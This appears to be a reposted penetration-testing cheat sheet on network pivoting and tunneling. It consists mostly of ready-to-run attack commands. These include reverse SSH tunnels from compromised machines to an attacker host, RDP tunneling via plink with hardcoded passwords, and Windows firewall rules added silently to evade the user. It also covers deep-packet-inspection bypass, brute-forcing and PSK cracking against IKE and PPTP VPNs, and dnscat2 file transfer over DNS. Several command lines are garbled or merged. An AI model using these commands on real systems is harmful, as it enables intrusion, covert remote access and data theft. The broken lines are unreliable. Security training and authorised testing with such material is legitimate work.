Network Pivoting and Tunneling Guide

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Network Pivoting and Tunneling Guide

This is for pure educational & informational purpose. Only use these techniques where allowed or you have permission to do so. Power...

 

Written by Sajal JainOct 22 · 2 min read 

This is for pure educational & informational purpose. Only use these techniques where allowed or you have permission to do so. Power comes with great responsibility.

• Port Forwarding – accept traffic on a given IP address and port and redirect it to a different IP address and port

apt-get install rinetd
cat /etc/rinetd.conf # bindadress bindport connectaddress connectport w.x.y.z 53 a.b.c.d 80

• SSH Local Port Forwarding: supports bi-directional communication channels

ssh <gateway> -L <local port to listen>:<remote host>:<remote port>

• SSH Remote Port Forwarding: Suitable for popping a remote shell on an internal non routable network

ssh <gateway> -R <remote port to bind>:<local host>:<local port>

• SSH Dynamic Port Forwarding: create a SOCKS4 proxy on our local attacking box to tunnel ALL incoming traffic to ANY host in the DMZ network on ANY PORT

ssh -D <local proxy port> -p <remote port> <target>

• Proxychains – Perform Nmap scan within a DMZ from an external computer
  • Create a reverse SSH tunnel from the Popped machine on: 2222

ssh -f -N -T -R22222:localhost:22 yourpublichost.example.com ssh -f -N -R 2222:<local host>:22 root@<remote host>

• • Create a Dynamic application-level port forward on 8080 thru 2222

ssh -f -N -D &lt;local host>:8080 -p 2222 hax0r@<remote host>

• • Leverage the SSH SOCKS server to perform Nmap scan on the network using proxy chains

proxychains nmap --top-ports=20 -sT -Pn $ip/24

• HTTP Tunneling nc -vvn

$ip 8888

• Traffic Encapsulation – Bypassing deep packet inspection
  • HTTP tunnel
    On the server-side:

sudo hts -F <server ip addr>:<port of your app> 80

• • On the client-side:

sudo htc -P <my proxy.com:proxy port> -F <port of your app> <server ip addr>:80 stunnel

 

• Tunnel Remote Desktop (RDP) from a Popped Windows machine to your network
  • Tunnel on port 22

plink -l root -pw pass -R 3389:<localhost>:3389 <remote host>

• • Port 22 blocked? Try port 80? or 443?

plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P80

• Tunnel Remote Desktop (RDP) from a Popped Windows using HTTP Tunnel (bypass deep packet inspection)
  • Windows machine add required firewall rules without prompting the user

netsh advfirewall firewall add rule name="httptunnel_client" dir=in action=allow program="httptunnel_client.exe" enable=yes

netsh advfirewall firewall add rule name="3000" dir=in action=allow protocol=TCP localport=3000

netsh advfirewall firewall add rule name="1080" dir=in action=allow protocol=TCP localport=1080

netsh advfirewall firewall add rule name="1079" dir=in action=allow protocol=TCP localport=1079

• • Start the http tunnel client
    • httptunnel_client.exe
  • Create HTTP reverse shell by connecting to localhost port 3000
    • plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P 3000
• VLAN Hopping
  • git clone https://github.com/nccgroup/vlan-hopping.git chmod 700 frogger.sh ./frogger.sh
• VPN Overtaking
  • Identify VPN servers:
    ./udp-protocol-scanner.pl -p ike $ip
  • Scan a range for VPN servers:
    ./udp-protocol-scanner.pl -p ike -f ip.txt
  • Use IKEForce to enumerate or dictionary attack VPN servers: pip install pyip git clone https://github.com/SpiderLabs/ikeforce.git
  • Perform IKE VPN enumeration with IKEForce: ./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic
  • Bruteforce IKE VPN using IKEForce: ./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1 
  • Use ike-scan to capture the PSK hash:

ike-scan 
ike-scan TARGET-IP 
ike-scan -A TARGET-IP 
ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key 
ike-scan –M –A –n example\_group -P hash-file.txt TARGET-IP 

Use psk-crack to crack the PSK hash:
psk-crack hash-file.txt 
pskcrack psk-crack -b 5 TARGET-IPkey 
psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key 
psk-crack -d /path/to/dictionary-file TARGET-IP-key

• PPTP Overtaking
  • Identifying PPTP, it listens on TCP: 1723
    NMAP PPTP Fingerprint: nmap –Pn -sV -p 1723 TARGET(S) 
  • PPTP Dictionary Attack thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst
• Port Forwarding/Redirection
• PuTTY Link tunnel – SSH Tunneling
  • Forward remote port to local address: plink.exe -P 22 -l root -pw "1337" -R 445:<local host>:445 <remote host>
• SSH Pivoting
  • SSH pivoting from one network to another: ssh -D <local host>:1010 -p 22 user@<remote host>
• DNS Tunneling
  • dnscat2 supports “download” and “upload” commands for getting iles (data and programs) to and from the target machine.
  • Attacking Machine Installation: apt-get update apt-get -y install ruby-dev git make g++ gem install bundler git clone https://github.com/iagox86/dnscat2.git cd dnscat2/server bundle install
  • Run dnscat2: ruby ./dnscat2.rb dnscat2> New session established: 1422 dnscat2> session -i 1422

 

DISCLAIMER: Everything is gathered from different web-resources. Parts of the above writeup belong to unknown authors.

 

Written by Sajal Jain

Cyber Security Enthusiast | OSCP | CEH | CHFI | CNSS | Masters of IT (Major: IT Security) & Masters of IT Management from the University of Sydney.

 

Sursa: https://catharsis.net.au/blog/network-pivoting-and-tunneling-guide/